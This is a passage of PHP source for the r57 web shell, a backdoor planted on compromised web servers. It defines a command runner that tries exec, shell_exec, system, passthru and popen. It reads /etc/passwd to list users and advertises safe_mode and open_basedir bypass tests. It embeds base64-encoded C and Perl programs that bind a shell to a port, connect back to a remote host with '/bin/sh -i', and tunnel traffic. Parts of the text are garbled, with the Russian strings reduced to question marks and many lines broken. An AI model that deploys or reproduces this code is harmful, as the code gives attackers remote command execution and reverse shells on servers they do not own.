/n'ru_text103'=>'???????? ??????', /n'ru_text104'=>'???????? ????? ?? ???????? ????', /n'ru_text105'=>'????', /n'ru_text106'=>'??', /n'ru_text107'=>'????', /n'ru_butt15'=>'?????????', /n'ru_text108'=>'????? ??????', /n'ru_text109'=>'????????', /n'ru_text110'=>'??????????', /n'ru_text111'=>'SQL-?????? : ????', /n'ru_text112'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ????????????? ??????? mb_send_mail', /n'ru_text113'=>'???????? ??????????? ?????? ??????????? safe_mode, ???????? ???????? ?????????? ? ?????????????? imap_list', /n'ru_text114'=>'???????? ??????????? ?????? ??????????? safe_mode, ???????? ??????????? ????? ? ?????????????? imap_body', /n'ru_text115'=>'???????? ??????????? ?????? ??????????? safe_mode, ??????????? ?????? ? compress.zlib:// ? copy()', /n'ru_text116'=>'?????????? ????', /n'ru_text117'=>'?', /n'ru_text118'=>'???? ??????????', /n'ru_text119'=>'?? ??????? ??????????? ????', /n'ru_err0'=>'??????! ?? ???? ???????? ? ???? ', /n'ru_err1'=>'??????! ?? ???? ????????? ???? ', /n'ru_err2'=>'??????! ?? ??????? ??????? ', /n'ru_err3'=>'??????! ?? ??????? ???????????? ? ftp ???????', /n'ru_err4'=>'?????? ??????????? ?? ftp ???????', /n'ru_err5'=>'??????! ?? ??????? ???????? ?????????? ?? ftp ???????', /n'ru_err6'=>'??????! ?? ??????? ????????? ??????', /n'ru_err7'=>'?????? ??????????', /n/* --------------------------------------------------------------- */ /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n'eng_text19'=>'Exploits', /n /n'eng_text21'=>'  /n /n /n /n /n /n /n /n /n /n /n /n /n /n'eng_text33'=>'Test bypass open_basedir with cURL functions', /n /n'eng_text34'=>'Test bypass safe_mode with include function', /n'eng_text35'=>'Test bypass safe_mode with load file in mysql', /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n'eng_text71'=>"Second commands param is:rn- for CHOWN - name of new owner or UIDrn- for CHGRP - group name or GIDrn- for CHMOD - 0777, 0755...", /n /n /n /n'eng_text75'=>'* you can use regexp', /n /n /n /n /n /n /n'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server', /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n) /n/* /n?????? ?????? /n????????? ???????? ????????????? ?????? ????? ? ???-?? ??????. ( ??????? ????????? ???? ????????? ???? ) /n?? ?????? ???? ????????? ??? ???????? ???????. /n*/ /n$aliases=array( /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n /n'----------------------------------------------------------------------------------------------------'=>'ls -la' /n$table_up1 = "<tr><td bgcolor=#000000><font face=tahoma size=-2><b><div align=center>:: " /n$table_up2 = " ::</div></b></font></td></tr><tr><td>" /n$table_up3 = "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#2279D9><tr><td bgcolor=#000000>" /n$table_end1 = "</td></tr>" /n$arrow = " <font face=Webdings color=gray>4</font>" /n$lb = "<font color=black>[</font>" /n$rb = "<font color=black>]</font>" /n$font = "<font face=tahoma size=-2>" /n$ts = "<table class=table1 width=100% align=center>" /n$te = "</table>" /n$fs = "<form name=form method=POST>" /n$fe = "</form>" /nif(isset($_GET['users'])) /nif(!$users=get_users()) { echo "<center><font face=tahoma size=-2 color=red>".$lang[$language.'_text96']."</font></center>" /necho '<center>' /nforeach($users as $user) { echo $user."<br>" /necho '</center>' /necho "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>" /nif (!empty($_POST['dir'])) { @chdir($_POST['dir']) /n$dir = @getcwd() /n$unix = 0 /nif(strlen($dir)>1 && $dir[1]==":") $unix=0 /nif(empty($dir)) /n$os = getenv('OS') /nif(empty($os)){ $os = php_uname() /nif(@eregi("^win",$os)) { $unix = 0 /nelse { $unix = 1 /nif(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text") /nif(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']) /nelse { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']) /n$sr->SearchText(0,0) /n$res = $sr->GetResultFiles() /n$found = $sr->GetMatchesCount() /n$titles = $sr->GetTitles() /n$r = "" /nif($found > 0) /n$r .= "<TABLE width=100%>" /nforeach($res as $file=>$v) /n$r .= "<TR>" /n$r .= "<TD colspan=2><font face=tahoma size=-2><b>".ws(3) /n$r .= (!$unix)? str_replace("/","",$file) : $file /n$r .= "</b></font></ TD>" /n$r .= "</TR>" /nforeach($v as $a=>$b) /n$r .= "<TR>" /n$r .= "<TD align=center><B><font face=tahoma size=-2>".$a."</font></B></TD>" /n$r .= "<TD><font face=tahoma size=-2>".ws(2).$b."</font></TD>" /n$r .= "</TR>n" /n$r .= "</TABLE>" /necho "<P align=center><B><font face=tahoma size=-2>".$lang[$language.'_text56']."</B></font></P>" /necho "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>" /nif(!$safe_mode && strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1 /n$SERVER_SOFTWARE = getenv('SERVER_SOFTWARE') /nfunction ws($i) /nreturn @str_repeat("  /nfunction ex($cfe) /n$res = '' /nif (!empty($cfe)) /nif(function_exists('exec')) /n@exec($cfe,$res) /n$res = join("n",$res) /nelseif(function_exists('shell_exec')) /n$res = @shell_exec($cfe) /nelseif(function_exists('system')) /n@system($cfe) /n$res = @ob_get_contents() /nelseif(function_exists('passthru')) /n@passthru($cfe) /nelseif(@is_resource($f = @popen($cfe,"r"))) /n$res = "" /nwhile(!@feof($f)) { $res .= @fread($f,1024) /n@pclose($f) /nreturn $res /nfunction get_users() /n$users = array() /n$rows=file('/etc/passwd') /nif(!$rows) return 0 /nforeach ($rows as $string) /n$user = @explode(":",$string) /nif(substr($string,0,1)!='#') array_push($users,$user[0]) /nreturn $users /nfunction err($n,$txt='') /necho '<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#000000><font color=red face=tahoma size=-2><div align=center><b>' /necho $GLOBALS['lang'][$GLOBALS['language'].'_err'.$n] /nif(!empty($txt)) { echo " $txt" /necho '</b></div></font></td></tr></table>' /nreturn null /nfunction perms($mode) /nif (!$GLOBALS['unix']) return 0 /nif( $mode & 0x1000 ) { $type='p' /nelse if( $mode & 0x2000 ) { $type='c' /nelse if( $mode & 0x4000 ) { $type='d' /nelse if( $mode & 0x6000 ) { $type='b' /nelse if( $mode & 0x8000 ) { $type='-' /nelse if( $mode & 0xA000 ) { $type='l' /nelse if( $mode & 0xC000 ) { $type='s' /nelse $type='u' /n$owner["read"] = ($mode & 00400) ? 'r' : '-' /n$owner["write"] = ($mode & 00200) ? 'w' : '-' /n$owner["execute"] = ($mode & 00100) ? 'x' : '-' /n$group["read"] = ($mode & 00040) ? 'r' : '-' /n$group["write"] = ($mode & 00020) ? 'w' : '-' /n$group["execute"] = ($mode & 00010) ? 'x' : '-' /n$world["read"] = ($mode & 00004) ? 'r' : '-' /n$world["write"] = ($mode & 00002) ? 'w' : '-' /n$world["execute"] = ($mode & 00001) ? 'x' : '-' /nif( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S' /nif( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S' /nif( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T' /n$s=sprintf("%1s", $type) /n$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']) /n$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']) /n$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']) /nreturn trim($s) /nfunction in($type,$name,$size,$value,$checked=0) /n$ret = "<input type=".$type." name=".$name." " /nif($size != 0) { $ret .= "size=".$size." " /n$ret .= "value="".$value.""" /nif($checked) $ret .= " checked" /nreturn $ret.">" /nfunction which($pr) /n$path = ex("which $pr") /nif(!empty($path)) { return $path /nfunction cf($fname,$text) /n$w_file=@fopen($fname,"w") or err(0) /nif($w_file) /n@fputs($w_file,@base64_decode($text)) /n@fclose($w_file) /nfunction sr($l,$t1,$t2) /nreturn "<tr class=tr1><td class=td1 width=".$l."% align=right>".$t1."</td><td class=td1 align=left>".$t2."</td></tr>" /nif (!@function_exists("view_size")) /nfunction view_size($size) /nif($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB" /nelseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB" /nelseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB" /nelse {$size = $size . " B" /nreturn $size /nfunction DirFilesR($dir,$types='') /n$files = Array() /nif(($handle = @opendir($dir))) /nwhile (false !== ($file = @readdir($handle))) /nif ($file != "." && $file != "..") /nif(@is_dir($dir."/".$file)) /n$files = @array_merge($files,DirFilesR($dir."/".$file,$types)) /n$pos = @strrpos($file,".") /n$ext = @substr($file,$pos,@strlen($file)-$pos) /nif($types) /nif(@in_array($ext,explode(' /n$files[] = $dir."/".$file /n$files[] = $dir."/".$file /n@closedir($handle) /nreturn $files /nclass SearchResult /nvar $text /nvar $FilesToSearch /nvar $ResultFiles /nvar $FilesTotal /nvar $MatchesCount /nvar $FileMatschesCount /nvar $TimeStart /nvar $TimeTotal /nvar $titles /nfunction SearchResult($dir,$text,$filter='') /n$dirs = @explode(" /n$this->FilesToSearch = Array() /nfor($a=0 /n$this->FilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter)) /n$this->text = $text /n$this->FilesTotal = @count($this->FilesToSearch) /n$this->TimeStart = getmicrotime() /n$this->MatchesCount = 0 /n$this->ResultFiles = Array() /n$this->FileMatchesCount = Array() /n$this->titles = Array() /nfunction GetFilesTotal() { return $this->FilesTotal /nfunction GetTitles() { return $this->titles /nfunction GetTimeTotal() { return $this->TimeTotal /nfunction GetMatchesCount() { return $this->MatchesCount /nfunction GetFileMatchesCount() { return $this->FileMatchesCount /nfunction GetResultFiles() { return $this->ResultFiles /nfunction SearchText($phrase=0,$case=0) { /n$qq = @explode(' ',$this->text) /n$delim = '|' /nif($phrase) /nforeach($qq as $k=>$v) /n$qq[$k] = 'b'.$v.'b' /n$words = '('.@implode($delim,$qq).')' /n$pattern = "/".$words."/" /nif(!$case) /n$pattern .= 'i' /nforeach($this->FilesToSearch as $k=>$filename) /n$this->FileMatchesCount[$filename] = 0 /n$FileStrings = @file($filename) or @next /n$count = 0 /n$CurString = $FileStrings[$a] /n$CurString = @Trim($CurString) /n$CurString = @strip_tags($CurString) /n$aa = '' /nif(($count = @preg_match_all($pattern,$CurString,$aa))) /n$CurString = @preg_replace($pattern,"<SPAN style='color: #990000 /n$this->ResultFiles[$filename][$a+1] = $CurString /n$this->MatchesCount += $count /n$this->FileMatchesCount[$filename] += $count /n$this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4) /nfunction getmicrotime() /nlist($usec,$sec) = @explode(" ",@microtime()) /nreturn ((float)$usec + (float)$sec) /n$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS /nA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I /nGFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt /nb3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9 /npKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF /nNPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK /nikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog /nICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk /n7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2 /n9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld /n2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu /ndGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp /nlbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0=" /n$port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS /nVNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs /nJlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV /nTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG /nlzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK /nQ0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i /nOw0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N /nlIENPTk47DQpleGl0IDA7DQp9DQp9" /n$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj /naG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR /nhcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT /nsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI /nkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi /nKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl /nOKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==" /n$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC /nBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb /nSAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd /nKSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ /nsZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC /nAoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D /nQogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp /nOw0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==" /n$datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2 /nx1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb /nHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj /naGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ /nlcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm /nxpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga /nW50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy /nLCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV /nudCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow /n0KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb /niIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l /nKGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA /ngIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS /nhhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC /niAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh /nZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ /nvcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC /nAgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D /nQogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh /nZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0 /ngLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay /nwyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c /n29jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy /nMDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA /ngICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci /n5zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ /nHIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu /ndGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0 /nKICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC /nZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI /nE5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp /nOw0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs /nNCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG /nJ1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL /nCZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp /ndGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo /ngIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm /nlsZSk7DQogIHJldHVybiAwOw0KfQ==" /n$datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I /nCAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl /nbW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU /ngIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol /nNvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC /niRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy /naW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ /nSICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2 /nxvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ /nWRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN /nCmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9 /nyIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi 